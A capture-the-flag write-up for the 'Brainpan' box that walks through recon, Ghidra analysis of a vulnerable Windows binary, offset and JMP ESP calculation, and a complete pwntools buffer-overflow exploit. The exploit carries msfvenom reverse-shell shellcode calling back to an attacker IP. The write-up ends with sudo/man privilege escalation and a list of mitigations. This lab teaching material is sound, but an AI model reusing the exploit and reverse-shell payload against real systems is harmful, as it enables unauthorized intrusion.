🧠Brainpan

Exploiting a buffer overflow and abusing sudo privileges for escalation.

This box is a little different than the others. The description reveals that the target is meant as a practice for the OSCP buffer overflow so that's what we'll be focusing on.

Reconnaissance

We begin with the typical port scan to see what's open on the target brainpan.thm:

We get two uncommon ports so let's run an nmap scan to get a better idea of what's running.

sudo nmap -A -p9999,10000 --script=vuln,default brainpan.thm

Apparently, port 9999 features a custom application that nmap can't identify. Port 10000 on the other hand appears to be a SimpleHTTP python server. Being curious of course, we connect to port 9999 with nc and see what's coming back:

For obvious reasons we wouldn't have done something like this in production (we've just executed a successful DoS attack) but since we expect a buffer overflow we can now assume that this might be it.

If we wait for a minute we'll be able to connect again. It's possible that a cronjob is restarting the service from time to time so we don't have to reset the target every time.

But enough breaking stuff, we still got a webserver to investigate.

Service Enumeration

Visiting http://brainpan.thm:10000/ in a browser we are greeted by a single image that contains several statistics about "safe coding". There's no interactive content, no links, no robots.txt. After starting a gobuster scan we do find something interesting though.

gobuster dir -w /usr/share/wordlists/dirb/common.txt  -u http://brainpan.thm:10000

There's a /bin directory. Navigating to it leads to a directory listing with a single item in it: brainpan.exe, which we can download.

Judging from the output of the service on port 9999 and the name of the executable, we just found the binary of that seemingly vulnerable service.

To determine the file type of the executable we use file:

└─$ file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windowss

That's interesting, it turns out to be a windows executable. However, the nmap scan was 95% sure that the target is running on linux. Using ping we can further support that assumption:

TTL values of 64 are usually the default on linux machines, whereas on windows we'd rather expect a value of 32 or 128. (We see 63 because of the intermediary VPN hop.)

See this blog post for a more detailled list of default TTL values.

We should keep this in mind when it comes to exploiting a buffer overflow in order to select the right payload.

Initial Access (BOF)

Most write-ups will show how to use Immunity Debugger. However, there's an easier way to exploit this buffer overflow without using a debugger or a windows VM.

Alright, we got the windows executable - let's analyse it. Usually we'd use something like checksec to extract protection mechanisms from the binary but that's for ELF only. For PE we use pesec instead (install this and other tools for PE analysis via sudo apt install pev).

└─$ pesec brainpan.exe 
ASLR:                            no
DEP/NX:                          no
SEH:                             yes
Stack cookies (EXPERIMENTAL):    no

No stack canaries, no data execution prevention and no address space layout randomization - how fortunate for us. Let's see what that code is actually doing by analyzing it with Ghidra.

The main function works pretty straight forward. It follows the default socket programming procedure of creating a socket (lines <40), binding the socket to port 9999 (line 46-47) and waiting for connections with accept in an endless loop (line 56).

Following a successful connection of a client the banner that we saw earlier (stored in local_400) is send to the client (line 60). Subsequently, the server waits to receive up to 1000 bytes from the client (line 61). In line 62 the input is then passed to a function called _get_reply.

The rest of the code is sending either ACCESS DENIED or ACCESS GRANTED to the client, depending on the return value of _get_reply, before closing the connection.

Knowing that our input will be processed in _get_reply we decompile this function.

The input (remember it could be up to 1000 bytes long) is copied to local_20c which is a 520 bytes long char array without any safety checks.

At this point, we have confirmed the buffer overflow vulnerability and can continue to exploit it with a special crafted payload.

I have explained all following steps in detail in this article: Buffer Overflow - Explained.

Step one - finding the offset.

The call to strcpy happens with the address EBP-520 (signed hex represention in the screenshot) as destination address. Meaning after 520 bytes of input we'll overwrite the base pointer. Hence, after 524 bytes we overwrite the return pointer.

Offset = 524 bytes

Step two - finding a return address. We'll search for a JMP ESP instruction (hex: FF E4). Any hexeditor with a search function will work:

There's only one occurance at the file offset 0x6f3. To get the virtual address we'll also need the image base and the data offset which we can read from the section headers with readpe.

With the image base address at 0x31170000 and the address of the .text section at 0x1000 we got the virtual base address for the program code. Together with the raw offset of the code in the file (0x400) and the raw offset of our target address (0x6f3) we calculate the final address:

   0x31170000
+      0x1000
+       0x6f3
-       0x400
-------------
=  0x311712f3

We can confirm that we got the correct address by simply using the Ghidra search function.

Return address = 0x311712f3

Step three - creating the shellcode.

Keep in mind that we got a linux target that's probably just emulating a windows binary. If this payload doesn't work we might try using different payloads instead.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.249.139 LPORT=4444 EXITFUNC=thread -b "\x00" -f py

Step four - the final exploit. Now we combine all the gathered information in a single exploit script.

#!/usr/bin/env python3

from pwn import * # for easy connection

offset = 524
address = b"\xf3\x12\x17\x31" # little endian

# msfvenom payload
buf =  b""
buf += b"\xda\xc7\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\xc7\xc2"
buf += b"\x74\xb1\x12\x83\xc2\x04\x31\x42\x13\x03\x4d\xd4\x20"
buf += b"\x81\x60\x01\x53\x89\xd1\xf6\xcf\x24\xd7\x71\x0e\x08"
buf += b"\xb1\x4c\x51\xfa\x64\xff\x6d\x30\x16\xb6\xe8\x33\x7e"
buf += b"\x43\x02\x3d\xf5\x3b\x16\xbd\x18\xe0\x9f\x5c\xaa\x7e"
buf += b"\xf0\xcf\x99\xcd\xf3\x66\xfc\xff\x74\x2a\x96\x91\x5b"
buf += b"\xb8\x0e\x06\x8b\x11\xac\xbf\x5a\x8e\x62\x13\xd4\xb0"
buf += b"\x32\x98\x2b\xb2"

p = remote("brainpan.thm", 9999)
p.sendline(b"A"*offset + address + b"\x90"*32 + buf)

We successfully exploited the buffer overflow and gained access to the target as user puck.

Looking through our home folder we notice a checksrv.sh script. This script is responsible for starting the brainpan.exe and we can see that it's indeed being emulated using wine. Note that a windows reverse shell would also have worked in this case.

Privilege Escalation

The final part of this box, escalating privileges to root, is pretty straight forward. Checking our current permissions with sudo -l we discover an application that we're allowed to run as root without a password. When executed without an argument we're shown the usage.

One command stands out: manual, as it takes an input called command. It shows the man page for the specified command. A quick search on GTFOBins leads to a shell (man allows executing commands in the interactive view).

We finished the box and got root access.

Mitigations

Although rated hard, this box focused only on a single very basic buffer overflow without any protection mechanisms. Mitigations for the buffer overflow alone include:

  • Enabling / enforcing ASLR

  • Enabling DEP

  • Enabling stack canaries

However, the root cause was a single unsafe string copy operation which failed to compare the length of source and destination first. Mitigation: apply safe coding practices (or use memory safe programming languages).

For the privilege escalation:

  • Avoid giving sudo permissions to any user other than root (in this case the SUID bit might have been a better choice)

Last updated